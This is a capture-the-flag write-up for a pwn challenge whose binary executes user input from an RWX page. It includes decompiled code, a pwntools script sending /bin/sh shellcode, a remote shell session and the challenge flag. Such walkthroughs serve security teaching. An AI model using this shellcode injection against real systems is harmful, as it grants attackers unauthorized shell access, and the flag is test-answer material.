newyearparty
Overview

newyearparty

January 12, 2026
2 min read
2

newyearparty

Category
Pwn
Files
task
Description
I came to a funny New Year's Eve party. You need to run /bin/newyear/

Inspecting the binary with checksec:

Terminal window
checksec task
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

While NX is enabled, the binary’s behavior—as we’ll see in the analysis—is designed to explicitly bypass this protection by mapping its own executable memory region.

Program Analysis

In this challenge, we were given a binary named newyearparty. Let’s try to examine the decompiled code.

main

int main(void) {
bool bVar1;
char local_418[1032];
void (*local_10)(void);
// Map a page of memory with Read, Write, and Execute permissions
local_10 = (void (*)())mmap((void *)0x0, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
bVar1 = local_10 != (void *)MAP_FAILED;
if (bVar1) {
puts("Help Santa and save the holiday");
fflush(stdout);
// Read up to 0x400 (1024) bytes from stdin
if (fgets(local_418, 0x400, stdin) != NULL) {
// Copy the input into the RXW memory
strcpy((char *)local_10, local_418);
// Execute the shellcode
local_10();
}
} else {
perror("mmap");
}
return !bVar1;
}

The main() function is straightforward but incredibly dangerous. It begins by using mmap() to allocate a page of memory with PROT_READ | PROT_WRITE | PROT_EXEC permissions—meaning anything written there can be executed.

It then prompts the user for input using fgets(), which reads up to 0x400 (1024) bytes. This input is then copied directly into the executable memory page via strcpy(). Finally, the program simply jumps to the start of that page and executes whatever we sent. This is a classic Shellcode Execution vulnerability.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Since the program executes our input directly, we just need to provide valid x64 shellcode. We can use pwntools to generate a standard /bin/sh shellcode, or specifically target the /bin/newyear/ path mentioned in the description.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './task'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
shellcode = asm(shellcraft.sh())
sl(shellcode)
io.interactive()

Running the script gives us an interactive shell on the server, allowing us to run /bin/newyear/ and get the flag.

Terminal window
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9075
[+] Opening connection to ctf.mf.grsu.by on port 9075: Done
[*] Switching to interactive mode
Help Santa and save the holiday
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ /bin/newyear
grodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}
$

Flag: grodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}